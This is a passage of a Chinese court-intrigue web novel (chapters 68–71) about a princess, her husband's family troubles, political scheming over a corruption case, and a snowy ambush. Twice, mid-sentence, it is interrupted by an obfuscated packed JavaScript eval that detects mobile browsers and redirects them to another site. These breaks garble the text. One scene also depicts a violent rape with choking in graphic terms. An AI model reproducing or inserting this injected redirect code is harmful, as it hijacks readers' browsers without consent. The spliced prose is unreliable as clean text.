“你筹谋得很好,一切都会按照你设想的那样发展一段,但你可否想过,一道斥责的奏疏于时局有何影响?在江南道时,兖国公主就已经警告过了他们,但他们依然肆意妄为,每年雍王世子上京朝觐,借故在北上南下的途中逗留享乐,享公家之供、百姓之俸,御史年年上奏,他们年年如此,可有任何改变?当前这个局势,圣上是腾不出手整饬皇室的,不能治本,年年治标,只会让他们更加狡猾、更加狂妄、更加肆意地糟践地方。” 介含清气息短促:“可我们就什么都不管了吗?” “那么多更加紧迫的事情你就不做了吗!” 柳曦既失望吐气:“什么时候该做什么事,什么时候能做什么事情,你入仕多年,难道还不清楚么。” “大人!什么是最恰当的时候?什么时候才能是这个时候?一天天地等,一年年地等,我们在等,是平平安安地等,可那些老百姓呢?他们是水深火热地等!他们是朝不保夕地等!大人,您若看见了这些人间疾苦,您就会知道每等上一个弹指,都是几十条人命在煎熬!我们为官为宰,受之俸禄受之供,怎能高居庙堂不思民生多艰!” 柳曦既阖眼,忍了片刻,方才问道:“那你想好怎么做了?” 介含清刚要回答,他便睁开眼睛抢先说:“既如此,你便去做你的事。道不同不相为谋,你本是丰德馨看中的人,以后不必寻我。不阿,送客。” 69. 第六十九章 回去吧 婵娘很快就死了。这是郇寰早就料到的事情,借此用人命官司彻底拿捏无法无天的三房叔伯,也就水到渠成。他虽不在京,但将郇杭留了下来处理此事,沈明枳便没有刻意过问婵娘之死的内幕真相。 但郇寰没料到的是,婵娘的死把郇三娘吓得不轻,一病不起。简单通了书信简述了府中情况,沈明枳便按照郇寰的托付做主,亲自上门与俞家商量推迟婚期。 婵娘死了多久,郇三娘就病了多久,近来天寒,郇三娘的病情倒逐渐好转,柳氏的病似也有了起色,沈明枳这才来得及计划带郇七郎兄妹上山,为他们的母亲祈福。今日郇三娘本不想来的,最后还是被沈明枳拖上了马车,她又执意要和郇七郎兄妹坐在一起,沈明枳没有答应。 “这么怕我。” 郇三娘刚要否认,却发现自己连说话的勇气都没有。昨夜沈明枳带来了一串佛珠,盘问她无果,便将那串佛珠放在了她床头,月光冷森森照在上面,似是一只只眼睛死死咬着自己,咬得自己心肝俱乱、肺腑皆疼,一夜无眠。 今晨沈明枳却再未提起过这串佛珠,仿佛这一夜煎熬只是一场噩梦。 “婵娘什么都和我说了。” 郇三娘浑身一震。 “只有一件事她没有说,那就是龙血脑的来源。” 马车缓缓停下,沈明枳撩开车帘,就见外面堵得不成样子,前方的山道上似是翻了车,有人正不可开交地争执不下。她别开帘子,边看着车外情况,边道:“太上有言:祸福无门,唯人所召。有仇当报,有恨当了,报与不报全在于你,你哥哥不会过分生气,但怕的就是你这一召,召来却是不速之客。” 沈明枳放下车帘,见她深埋着头,云霞似的乌发遮掩着她苍白的脸,继续说:“先不去猜婵娘有无恶意,她被困在侯府,没法到处乱说,常伴你出门的那个车夫也没有机会乱说,只是——” 郇三娘终于明白了“不速之客”四个字背后的恐怖。 “你哥哥南下办案,所有人都盯着他的一举一动,京城出了任何事情,他都回不来,你们家也就完了。” 郇三娘咬着嘴唇,细腻如脂的额头沁出了汗珠。 “侯府中人,我或可控制,侯府外人,他们会有什么心思、会有什么动作,就不在我的预料之内了。我与你哥哥成婚,说到底我终究不是你们家的人,你哥哥完了,我还能有别的驸马,但你哥哥、张姨娘、萧太夫人,他们没有第二次选择的机会。不过这个时候,你就不用嫁俞仕哲了。” 郇三娘抬头,眼眶已经湿润,但她仍然咬着嘴唇不敢发一言。 “这些事你不用说,我都知道,是楼复帮你搜罗的龙血脑,也是他找人磨成的珠子。” 郇三娘的眼泪终于绷不住落了下来。 “你眼光不错,楼家财大气粗,是清流中的领袖,他也没有恶毒的心思,不会拿这样的把柄胁迫于你,你们私相授受,他还能克己复礼,找这样一个男子,你不算糟践自己。” 郇三娘望着沈明枳哭得更加厉害。 “但他按照你的意思,帮你找来了这件东西,中间过了多少人的手?走露了多少风声?这些人会否有不轨之心?他是金玉堆出来的人,有些时候心思总是过于粗疏,他想不到这些,但你可曾想过?他们会对付你,对付你哥哥,难道就不会对付他吗?人心莫测。” “对……对不起。” “事已至此,没什么好对不起的。”忽听山道上马蹄轰动,沈明枳不知是有些羡慕这种青春少艾的感情,还是更加惋惜直撞南墙的勇气,只是沉默地听着拿马蹄声又恋恋不舍地远去,然后看着郇三娘已经哭花了的脸,轻轻叹气。 “三娘,我也不许不算是你的家人,但你哥哥是,从来都是。有时候有些事情,你可以和他去说。” 郇三娘哭出声:“我该怎么办?我现在该怎么办?” 双塔寺的香烟已经飘进车厢,沈明枳抽出手帕递到她眼前,“先看太夫人能撑多久,看你哥哥能不能赶回来,赶得回来,那我便问你,你还要嫁俞仕哲吗?” 郇三娘的眼泪洇湿了手帕也止不住。 “如果赶不上——”沈明枳有些忧虑。如果真到了这么一步,最理想的结果是能夺情,但就朝中局事来看,夺情的可能不大,而秘不发丧是下下策。不过无论如何,三年孝期对郇三娘来说都不算短,她是永远也不用嫁俞仕哲了。 沈明枳微微叹息,推开车门率先出了车厢,郇八娘早已蹦蹦跳跳地爬上了山门前的楼梯,正兴冲冲朝山门里张望,郇七郎则候在车架旁,静静等沈明枳和郇三娘下车。一下车,沈明枳就见山门旁有些萧索的密丛间站着一个年轻人,郇三娘看见他时,就在这人来人往的热闹里,忍不住又流下眼泪。 是楼复。 菩萨弥勒也不拜了,楼复只一路跟着他们,远远地躲藏在香客僧侣之间。 “三姐姐身体还是不舒服吗?”郇八娘拉上郇三娘的手关切问。 沈明枳瞥了一眼楼复,对已经心神摇晃的郇三娘道:“去休息会儿吧。” 郇八娘看看姐姐,再看看郇七郎,“我陪三姐姐去吧。” 沈明枳摸摸她的脑袋,“八娘长大了。” 郇七郎满脸质疑。 “月珰,你亲自送他们去。” 郇七郎和沈明枳单独走在一起,还是有些局促,刚出了大雄宝殿,要走东配殿前的长廊经过,他本想借口去看看郇三娘的,忽然迎面撞上了一个青年,他神游天外,没有注意到这个突然从拐角处冒出来的男人,“哎呀”一声被闪身一躲,差点扑空摔下去。 “小郎君要看路啊。”梅如故哈哈一笑,拢起袖子低头看向及时刹住脚的沈明枳。 沈明枳讶异地抬头,随即一步走近郇七郎,“你怎么在这?七郎,没事吧?” 郇七郎通红脸颊,朝梅如故和那个被他撞到的男人道歉,却被梅如故止住:“没事没事,你没事才好,他皮糙肉厚伤不到。你就是郇海山的弟弟吧?” 听见这小郎君是襄阳侯府的公子,这青年便确定了沈明枳的身份,连忙施礼:“微臣尤松植,参见兖国公主。” 沈明枳:“七郎,见过梅郎中和尤大人。” 尤松植十分惶恐:“万万当不得。” 梅如故伸手扶住了郇七郎的拜礼,“我这小舅子胆子小,皇城兵马司六品百户,殿下别吓到他了。” 沈明枳将行礼行了一半进退两难的郇七郎拉回身边,“梅大人也才刚晋户部五品郎中,倒一点也不怕本宫。” 梅如故哈哈又笑:“好了好了,相逢即是缘分,玩笑就别开了。松植,我与公主有几句话要说。” 尤松植会意:“那我到斋堂等你。” 郇七郎也想走,沈明枳这次也不强留,只让暗卫小心看护。 “信州此事是你谋划的?” 梅如故轻笑:“问得这么着急,看来你是真担心郇海山会出什么岔子。” 沈明枳低声咬牙:“他被外派信州也是你的手笔?” “何以见得?” 得了梅如故如此反应,沈明枳心里的石头落了地。如果这一切都是他的谋划,倒也不错,总好过是圣上或者魏王在对付他们。 见沈明枳眼中凝重中的一丝裂隙,梅如故淡淡道:“郇海山这事,我还没有这么大本事。也不瞒你了,信州的这些事我早就知道,王家、费家,我都知道,不过当初我看中的那个人不是郇海山,而是介含清。一个大理寺卿,一个刑部郎中,再来他这个佥都御史,这支队伍来查这个案子刚刚好,奈何这年轻人太急,胆子也够大,居然敢捅圣上的心窝,活该他被雍王世孙揍了一顿,又被‘勒令’回家休息,说得好听圣上下旨是抚慰他,又骂了雍王府一顿,减了些秩禄,但他这么莽撞地把事情捅破,非但没有任何裨益,还给雍王府指了明路,让他们有更多时间毁尸灭迹。” 梅如故喟然又不解:“丰德馨和阎野放怎么看上了这个家伙?” “物以稀为贵。” 梅如故低声玩笑:“君明臣直,他生错时候了。”玩笑过,他又严肃问:“你究竟怎么看出来的?” “临戎县决堤,费志皋这个治水不利的知县却得财得位,再想想给钱的是燕王,费家又站魏王,现在高穿楼主查,你又在这个节骨眼上回了户部。” 梅如故居然松了口气,“果然如此。” “你难道不着急吗?” “有什么好急的?” “你不怕他们找你的 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这一处檐墙四周寂寂无人,沈明枳终于敢光天化日地张牙舞爪一回,她驳斥得绝对又绝情,话一出口,她又后悔自己语气太重,伤到敏感的梅如故,但他笑着摇头:“就因为我劝你放弃晋王,你就觉得我体谅不到你的心情?南海道回来一趟,他和那些纨绔混在一起,课业却没怎么落下,全是你教得好,谋划得好。你一向觉得,你的哥哥姐姐疼你一场,无怨无悔、无所图谋,他们怎么对你好,你就怎么对晋王好,时间一长,有时就好像他们还在。” 沈明枳的鼻子发酸。 “我劝你放弃他,你便觉得是因为我们和晋王不亲厚,他从小到大又最依赖你,你放不下,这便一边教他安身立命的道理,替他去争一个机会,那边坏了自己的归宿,差点把命都赔了进去。你可曾想过,看你为了旁人过得这般痛苦,他们泉下有知,会伤心的。” “他们只会高兴,高兴我长成了这个样子,不是个冷血的人。” 梅如故一时间不敢说话,只别过了头。他平复了片刻,这才又开口:“我也很高兴。” 沈明枳说得心灰意冷:“终究是有远近亲疏的。” 梅如故深吸一口气:“或许吧。” “怎么想到来双塔寺?你不是从来不信这些东西吗?” 梅如故一哂:“没办法,昨夜梦见了梅问香,便只能来这么一趟。” “梦见什么了?” 梅如故仰头,伸伸懒腰,“梦见——都是不听劝的。” 沈明枳抿唇。 “这个新任南海道布政使胡全德是赵王的人吗?” “不算,但和郇海山有些往来,他有一位姨娘姓缪,在宫里当差。” “漉水赝品一案他参的时机巧妙,现在南下臬司,不知是敌是友。若非我了解你,从来都把握着分寸不与朝臣有过多往来,不然我就要以为,他是站你这边的。” 沈明枳淡淡道:“巧合。” 梅如故敛眉低笑:“巧合?你说是巧合那就是吧。和郇海山关系融洽,对你总是有利无弊。好了,我们聊得够久了,你回去吧——鹇儿!” 沈明枳驻足回头。梅如故确实瘦了不少,像他这种身材体格的人,还是要再壮实些才显得出精神气,一旦瘦得有些单薄,他这多少年如故的狂狷风流意都轻浮起来。沈明枳记得,他最显青春年少、风光无限的时候,逞能时随手挽剑都处处生花,那真是让人一记记一生的瞬间。 今夕变换,沈明枳忽也觉出了可惜。 那样一个眼神就写尽魏晋风流的男人。 那样浮白载笔就兼尽天下雅量的男人。 梅如故笑得欢快:“你这眼神怎么怪怪的?” 沈明枳垂下眼睫,嘴角却扬了起来。 “回去吧。” “你叫住我,就是要说这三个字?” “不然呢?”梅如故挑眉,“想听多肉麻的话,别找我,想被损一顿,随时奉陪。” 沈明枳“咦”了一声,转身扬长而去。 梅如故也觉出了可惜,他自言自语:“半途而废啊半途而废,也罢,人生各有路。” 他转身往斋堂走,绕了半天,始终没有找到正确的方向,却莫名其妙绕到了梧桐台。 梧桐半死,犹有新枝。 他被台上风吹得打了个喷嚏,“也不知道谁在想我。” 刚嘀咕完,他又打了第二个喷嚏,“想我两次?这么想我,让我猜猜是哪个不听劝的家伙……” 然后就是第三个喷嚏。 “回去吧回去吧,在呆下去脑子就要被风吹坏了。” 70. 第七十章 平川庄 “不是,鹇儿!” 沈明枳一回头,就见踩着梵音狂奔而来的那衣紫戴金的女郎,居然是辛莘。 “诶?你也在。” 辛莘一把拉住沈明枳就要往寮房走,“我看见那个楼复了!还和你家三娘在一起说话!” “我知道。” “你知道?”辛莘炸了起来。 “我默许的。” “以他们两个现在的身份,若是被别人看见了,岂不要传出闲话?要是被俞家人知道了,不就好事办成了坏事,郇海山回来怎么交代?” “我何须向他交代?况且有些事,当面说清了比较好,以绝后患。” “好吧,我让临川在那看着了,应该出不了事。” “她回来了?” “不算,只是来烧烧香、求个保佑,为了躲这个凌云重,她真是落魄得像丧家之犬,真是的。” ** “嫂嫂,你告诉大哥了吗?”一上车,郇三娘就惴惴不安地问。 “还没有,你不想他知道?” 郇三娘低下头。 “他知道了,也不会过分处置你。但你还是想,和他修复你们的兄妹关系?” 郇三娘点点头。 “那我就当什么事也没发生过,只要外面没有出事。” “不会出事的!” “这么坚定?”沈明枳轻笑,“既然如此,那我就更不会说了。” 车内安静几息,郇三娘忍不住这样的折磨,怯怯地问沈明枳:“不问我与他是怎么认识的吗?” “你若想告诉我,自然会说,且这是你们的私事。” 郇三娘再度埋头,过了好一会儿,她道:“是升平二十二年那个夏天,英国公府的老夫人做寿,你带我去的,我一眼就看见了他,因为他一直盯着你看,有人开了你们的玩笑,他发了很大的脾气。后来秦王坠阁,摔断了腿,他也跟着你一起去了,然后大哥来了,你们有急事要入宫,申家婶婶便来看顾我。我一个人在花园里走,就碰见了他,他和我说话,问的都是你。” 听着郇三娘的呼吸起复不定,沈明枳慢慢将心沉了下去。 “后来我很少出门,偶尔出门遇见了他,他居然还记得我。那时我想,这是我的机会。” 她又哭了起来。 “他什么样的人没见过,也知道我们之间也不会有结果,只是玩玩……我自知,我这一辈子也不能和他并肩,他们世家子,忘性也大,但他是少见的,没有歹毒心思的人,所以我更要把握这个机会。” 沈明枳盯着车门,“这从来不是最好的法子。” “可我没有别的路的。” “你哥哥。” 郇三娘笑得绝望又凄凉:“嫂嫂你知道这种痛苦吗?她因为给人做妾,一辈子也抬不起头,又因为生了我,一辈子也没有指望,结果到死,还要受那样的折磨。她是我的亲生母亲,亲生母亲……大哥他,天之骄子,他怎么会明白这种痛苦?” 沈明枳深吸一口气,“你不去试试,你怎么知道他就不懂。” “一旦试过了,我可能失去这个机会,可我的母亲!我怎么能不去给她报仇!就算他懂,他也不会帮我。他从来都看不上我,他怎会帮我,我又怎么值得他帮?我只能靠自己,其他谁也靠不住。” 沈明枳只觉得郇三娘这番话如同一只手,狠狠握住了她的心脏。 “想过报仇之后,你的人生要怎么办吗。” 郇三娘抹了一把眼泪,“这人生从来都不是我的,或许某时,它属于过我……” “它从来都是你的,你还有那么多好日子要过。” 她只是哭着摇头。 这一刻,沈明枳发现自己拙于口舌,郇三娘连声说着“对不起”,两个人的呼吸全乱套了,可她一个安慰的字也说不出来,甚至一句斥责的话也想不到。她们分明都有那么多好日子要过,可就如郇三娘说的这样,沈明枳好像也想不出,万事皆毕之后她的将来会是什么模样,好像如愿以偿的那一刻到来时,她便应当已经死了。 可她还有那么多好日子,大姐姐他们知道了会伤心,梅如故也会为她操心,还有她的戒子。她能对郇三娘说,一切都过去了,对自己只能缄口不言。 ** 楼外晓星犹磊落,山头初日已苍凉。天气越发地冷了,寇一爵披了大氅自赵王府出来,依然被冷意激得打了个喷嚏。瞧天色,很快就要下雪了,今年的雪也当来得极其早,一连几次的异象总预兆着人世异变,寇一爵心里压着朝中事,更觉得流年艰难。 费氏案进展很快,已经告老还乡的邹秉童被波及,燕王和邹美人关了禁闭,费氏抄家,费志皋问斩。朝中由高穿楼主持,信州那儿则由郇寰协办。但郇寰此次南下的主要任务并没有完成,即王家一案,户部侍郎周舫为了妥善处理税收之事,迟迟不许结案,这便导致郇寰的归途遥遥无期。 京中事倒也不是离了郇寰就转不了,只是锦麟卫那里差点连严刑拷打都用上了,却愣是没逼出一句实话,即邹家贿赂一个失势的临戎知县所为何故。没有这个动机,这案子就轻易结不了,而一拖再拖,迟则生变,这是其一。其二便是,此次丈清收缴费氏、邹氏田产的结果出了大问题。 费氏收缴上来的田亩数和实际数目有巨大出入——这是众人心照不宣的。但总有不开窍的小年轻,直接将事情捅到了御书房龙案,户部的几个头头全吃了瓜落,随后的局部丈清就自然而然提上了日程。 能一耙将魏王打倒自然是美事,但他们也不是出淤泥而不染的白莲花,田亩里的烂账他们也经不起这样翻,一旦清丈的旨意下达,魏王要大卸八块,他们也要脱层皮。现在圣心难违,唯一能做的就是争个先后,让魏王先行总比他们以身探路要好。 寇一爵心里正烦,靠在车窗旁闭目养神,忽听车外有熟人的声音响起:“霄霄她不会出事吧?” “你先不要担心,等我找个时候亲自去问问郇海山……” 寇一爵一把扯开车帘,推窗望了出去,只远远看见车辙后,回化隆准备过年的东都兵马指挥使苏悯身边站着一位少妇。“停车停车!”他猛拍厢壁,盯着苏悯身边那个少妇的面容看了一瞬,抢在对方发现自己之前由缩回了车内。 坐回车内的这一刻,他的心跳骤然加速。 苏德惜居然知道苏霄的存在。 寇一爵说不上,这是个好消息还是坏消息。他又一拍厢壁:“去平川庄!” 车夫劝道:“家里老爷还在等……” “现在就去!” 平川庄在启复门外,不仅远,还偏僻冷清,藏在深林之中,寇一爵自己就十天半个月都想不起来有这么一个地方,但临高处,可以向东远眺见一马平川上,皇城兵马司的壁垒灯火森严。 一进山庄,黄昏已过,夜幕低垂,寇一爵一手执灯,连穿好几进院门,径直闯到了一处两层高的小阁楼前。二楼临窗亮着灯光,寇一爵推开迎面挡路的奴婢,几步踩上“咯吱”作响的木楼梯冲到了二楼,一脚踢开了半掩的房门。 “苏德惜认识你。” 苏霄一眼也不看寇一爵,仍旁若无人地继续翻书,“好歹是有血缘的亲戚。” 寇一爵将灯盏交给了奴婢,“他知道郇海山把你带来了化隆。” “我们还见过。” 寇一爵见她还悠闲自在地翻书,心里霍然腾起一股邪火,三步上前迈到她跟前,一把将书夺了过来甩到了地板上,封皮上大写的“孟子”就这样展开在地上。 “好好回话!” 苏霄抬起头直逼寇一爵的视线,“你今天遇见他了。” “他们在找你,找不到,还打算去问郇海山。” 苏霄嘲讽:“你这么怒气冲冲的,是想问我怎么给他们通风报信的吗?” 寇一爵的视线碾着她。 苏霄勾起嘴角,笑得越发讽刺:“我连楼都下不了,我怎么给他们传消息?你对你自己私宅上精心挑选的护卫这么没信心吗?还是你对你自己这个挑选他们的人这么没信心?” 寇一爵一个巴掌已经落了下去,苏霄被打得扭过身去,嘴角很快就渗出了一缕鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483239|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血。她还匍匐在矮榻上直不起身,寇一爵就曲膝沉腰压了上去,从后面拽着她的腰带将布料撕碎,卡着她的腰臀将人拖离了矮榻。 苏霄连忙攥住矮几的棱角,不至于在跌落的瞬间撞得头破血流,寇一爵的力道大,连她抓住的矮几都在胡乱的用力里偏了好几个位置,几上那支蜡烛正好翻倒落在地上,火焰被暴力摁灭。 二楼霎时陷入黑暗。 地上冒着一缕青烟。 “轰隆”一声,矮几也摔在了地上,听这响动,可能还“咔擦”一声摔断了一条腿。楼下的脚步声乱了一阵,苏霄痛苦地大骂:“寇一爵你是畜生吗?脑子里就只有——” 还没骂完,寇一爵就用手捂住了她的口鼻,窒息感一阵阵地冲上大脑,苏霄胡乱地捶着拳头,间或打到了寇一爵大腿上,但更多时候都打到了棱角分明的榻沿。她分不清流了寇一爵满手的眼泪,是因为手更疼些还是心更痛点,只在寇一爵迷乱松手之际,压抑不住这种痛苦哭出了声。 可她的哭声在这样的夜里,只似梦里远山的一场暮雨,淡而轻地彻底化开消散。 寇一爵根本听不见,他只听见了他们轰鸣的喘息和别人的上楼声。 “主子,大公子在家跌破了额头……” “滚!” 一切杂音都消失了,只有月光穿过窗纸漏下来的流连声,只有每块肌肉受挤压拉扯时的尖叫声,只有汗滴泥泞的牵扯声。寇一爵终于看清了苏霄的后背,在黯淡的月光下似凝了一层细脂,还沾着她眼泪的手指刚一触上就慢慢地滑脱。他又张开手慢慢贴了上去,蓦然想到,这是一片郇寰也不曾碰到的禁地—— “主子!郇侯遇刺!” 寇一爵浑身一震,终于回过神来,按着苏霄的腰退了出来,一跨步走下软榻,拉扯好衣服走向房门。苏霄也被郇寰的消息震惊到了,支着胳膊抬起身体时,就看出了寇一爵背影里的绝决和迫切,她不知道哪里来的勇气来破罐子破摔,她大声叫住了寇一爵:“他可是你亲哥哥,他受伤你却一点也不在意。” 门是关上的。 寇一爵瞬间折返回来,掐住了苏霄的脖子:“闭上你的嘴。” 苏霄的呼吸又急促起来。 寇一爵一甩手,她咳嗽一声还在说:“他在你心里居然这么重要?你是不是特别担心他会死,又恨不得他立刻去死——” 寇一爵重新扼住她的脖子,细藕般的一段脖子,他再用些力就要断了,他本不惧于就在这里杀了她,反正郇寰管不到,苏悯又找不到,可不知在收紧手指的这一刹他想到了什么,他还是松了手,居高临下地睨着她,“还想着他?没能和他做,你是不是特别可惜?” 说着,他的目光继续往下扫,“放心,灭了灯,都是一样的。”他继续系起衣带,退了一步,刚要转身,感觉脚下踩上了什么东西,低头一看,好像是那本《孟子》。他挪开脚,想了一瞬,弯腰将这本书捡起来合上,扔在了苏霄身上,“做女人好端端看什么《孟子》?既然看了,就该知道‘无为其所不为,无欲其所不欲’,你和兖国公主都是女人,但点了灯,你们是很不一样的。” 寇一爵走后,天上下起了雪。 她最喜欢大雪天的,天地都和记忆里会是一样的颜色,不曾沾染。 因为南边少雪。 因为正房太太忙着准备年关,别的姐妹们被带着四处窜门,流氓与瘪三也不随意晃荡,没有人会来找她的麻烦寻了自己的晦气。 因为苏霁和苏悯会来信。 因为那年她带着郇寰北上,最后就落了雪。 因为雪化了过后,寰宇澄清,一切都是崭新的开始。 苏霄翻了一个身,觉得手上脸上还是火辣辣地疼。 她想到了在岭南的苏霁,想到了遍寻化隆的苏悯,想到了高高在上的兖国公主,想到了生死未卜的郇寰。 南边的雪应该还没有落下来吧。 但信州的雪已经染白了入目山野。今年的雪大得如裹了石头的团子,噼里啪啦地从天上砸下来,山道冻滑,人迹罕见,飞鸟断绝,难上青天。 71. 第七十一章 雪夜袭 郇寰站在檐下,被呼啸凛冽的寒风逼退。 “主子,周侍郎说他在零州的堂兄新丧,得过去一趟,就不与我们同路回京了。” 郇寰应了一声。 忧心忡忡地望着下个没完的雪,冬至忍不住问:“车马都准备好了,但确定现在就要启程回京吗?太夫人那里不是说情况还算稳定吗?也不着急这一时。” 郇寰再看了一眼这漫天的雪花,一颗心被炖在炉火上,“等雪停了。” 冬至搓了搓手,哈了一口热气,“雪停了,怕是天也要黑了……” “必须要走。” 冬至心中无奈。天黑路滑,真指不定会出什么意外。 一上车,郇寰便道:“意外是一定会有的。” 冬至苦笑:“别这么悲观。” 郇寰一笑,“这不是悲观,反倒是乐观。我们在信州过得太顺,又捅出了这么大的案子,魏王还能不动如山,那才叫恐怖。” 冬至警惕地注意着车外的动静,“可是——我们人不多,这意外要是来了,恐怕挡不住。” 话音刚落,一支箭就携着劈山之势,透过层层阻挡钉在了郇寰耳畔的车厢壁上。即刻,车外的喊杀声、兵刃相接声便接连不断地涌了进来。 “咻——”又是一箭,冬至拔剑一挡,拉着郇寰弯下腰,恰恰躲过了紧随其后的三支连弩箭。随后,车猛然一震,似是有什么巨物撞上了厢壁,冬至心道糟糕,刚要做出反应,就觉得四面漏风,三面车墙就在这个瞬间被一股暴力扯得分崩离西。 冬至拽着郇寰霍然跃起,闪过了刺向脚下的四柄长刀,他们刚一落地,三个挥舞着流星锤、刚刚卸了车墙的刺客就逼到了眼前。无奈之下,冬至攥着郇寰一同越过了身后那匹半跪半趴的马,这才发现一半马脸已经被人用刀砍下,正汩汩留着鲜血。 流星锤的铁链发出刺耳的摩擦声,冬至只拉着郇寰一路朝山上狂奔,听见身后传来血肉迸裂的响动也不敢回头,只怕一回头就看见那夺命的铁刺猬在他们不到三尺的地方飞速袭来。 一簇羽箭顺风而来,郇寰向雪地里一扎,躲过了这直朝他面门而去的箭,却在这时松开了冬至的手。冬至翻滚着越过雪中碎石,拔出藏在靴子里的匕首朝箭来处掷去,听的“扑哧”一声,弓箭手当即毙命,他不敢怠慢,翻到尸体旁夺过弓弩,搭上崭新的箭簇就朝山坡下紧追郇寰的刺客射去。 一桶箭全发完,郇寰也正好跑了过来,冬至刚从尸体上拔了匕首递给郇寰,就见马车的废墟后鬼魅似地冒出了不少暗卫,不是他们的人,此刻却宛若天降神兵,救他们一命。 “当心!” 郇寰刚过手的匕首就这么刺了出去,冬至这才收敛了有些松懈下来的精神,再给这个突袭的刺客补上了一剑。可前仆后继,郇寰又与冬至分了开来,但他呆的位子不巧,被一只铁刺猬撂倒后直接顺着山坡滚了下去。他滚得又快又急,危急中一连拽了好几次坡上尸体,把刺客身上的箭囊和箭都扯了下来,他的速度才堪堪减了下来。 回到山脚的第一个翻身,就撞见了另一只铁刺猬。郇寰只能被赶着往谷底翻滚,正拦腰遇见一块横道的巨石,他借力一跃而起,凭着少年时代当纨绔、在林场里游猎的遥远记忆,摸了箭搭上弓,第一箭被铁刺猬砸断空中,他只能再度后退,一连搭上了三支箭。 谷里有风,三支箭只中了一支。 郇寰刚觉糟糕,就有一支箭正中刺客的咽喉,那只铁刺猬也扎进了地里。他一口气还没松下来,眼前黑影一闪,前面这具尸体还没彻底倒下,后面就又飞似地闪来一柄寒光。他将手中的弓箭挡了出去,被一剑劈裂,刺客的剑却也因此偏了分寸。郇寰错身一躲,剑尖却还是破入了骨肉。 他仰面倒入湖中时,听得又是一箭破空,贯穿刺客颅脑。 彻骨的冰水正在一点点挤占他的呼吸,腹部传来的剧痛让他整个人的神智麻木,长年累月的消耗让他的精神不济,他没有力气,抓住一根稻草的力气也没有,只能任凭死亡将他一点点地往下拽入混沌。 岸上兵刃相击的声音逐渐熄灭,唯有一声响亮的“郇驸马”贯彻黑暗笼罩的湖水,让他逐渐停摆的大脑骤然苏醒。 冬至是有功夫在身上的,但也受了伤,踉踉跄跄地解决完最后一个刺客后,满脸是血目眦欲裂,大叫着跑过来:“你们是什么人!” 为首一个中年男人有条不紊地指挥暗卫打扫雪地、抢救郇寰,分给的冬至一点注意,朗声回答道:“兖国公主府。” 冬至缓和了颜色,终于松懈下来:“原来是殿下的暗卫。” 季岸没再管冬至,把郇寰的伤简单地处理好后,就让人先行去附近的驿站探查开路。 郇寰觉得自己应该伤得也不是很重,当他睁开眼的时候,短暂的晴雪正透过粗陋的窗户投在他的脸上,“兖国公主府”五个字还在耳畔。 他说不上来是什么感受。 他们之间即便没有男女之情,这几年下来,有恨有怨,也总会有一点微薄的情感,知道了自己遇刺的消息,她应该也有忧心的。至于这忧心,是忧他的安危多一点还是她的未来多一点,他不必分得过分清楚。有忧心,总归是好的,就如同,他在化隆得知她在南海道的每一次遇刺时的感受一样,这证明,他们是站在一起的。 这便很好了。 哪怕沈明枳派来暗卫的本意是在监视他。 这也很好了。 郇寰长舒出一口气,撑着床沿坐了起来。 季岸叩门走了进来,抢在郇寰开口前将药递过去,“再修整一会儿,就要上路。” 郇寰接过药碗一饮而尽,在尝出苦味之前递还了碗,“好,麻烦你们了。” “职责所在。”说完,季岸就要小心地退出去,郇寰叫住他:“殿下还好吗?” “殿下很好。” 郇寰目送季岸离开,靠在床头阑干上逐渐走神。 升平十七年悬水河发大水,又起了疫病,东宫太子蹊跷染病,不久去世。沈明枳不是皇后亲生,大楚也没有臣妹守孝的规矩,父母丧不过三年,为了太子她也硬生生守了三年。至今七年,东宫之丧依然是不解的谜团,而燕王邹氏贿赂费志皋,已经将真相揭开了一角。 临近真相,郇寰却觉得沮丧。 他们可以认很多罪,但谋害太子这么大的罪,邹家、费家,燕王、魏王,是无论如何也不会认的。这样的大案,光凭费氏一案是挖不开的,他们本不该这么着急地将帽子扣下来,扪心自问,郇寰觉得赵王他们也没有这样的底气、不敢这么扣。但普天之下总有敢翻天的,总有着急忙慌要给所有人当头棒喝的,总有棋差一招终至满盘皆输的。 其实他们很容易被迷惑,尤其是沈明枳,总会以为圣上排除万难将他这个代罪之臣派来信州是别有图谋,现在炸出了与东宫之死略有瓜葛的费氏案,自然该去以为,将这件案子彻底抖露出去就是圣上的本意。 但事实真是这样的吗? 郇寰有些看不透这桩桩件件背后的人心人情。 他又沉默地坐了会儿,开始穿戴衣裳,期间不慎扯到伤口,方才口中的药味和腰上的疼痛瞬时造反,有要在他脑中另立为王的势头。他不由得想起很多年前,他从岭南一路北上,也有这样数不尽的狼狈和忡忡忧虑,随后,苏霄那张姣好的脸从记忆中浮出水面。 郇寰手上的动作一顿。还品不出再想起苏霄时,他心里有多么惋惜和后悔,冬至就拍了门,随后裹挟着风雪进入,激得他猛烈咳嗽起来。冬至来不及自责,便急急忙忙开口:“主子,户部梅郎中的家眷也在此停驻。” 郇寰平复了一会儿,“梅如故?” 冬至帮着郇寰穿衣,点头道:“正是。此次梅郎中入京未携家眷,我瞧着梅家的几位公子也在,估计是为了来年秋闱做准备。” 郇寰听后笑了:“梅家可真会挑日子,不过,梅州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14497338|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隶属江南道,地方即有大比,何须赶往京中?” “这倒是。” 郇寰笑笑不再追问。 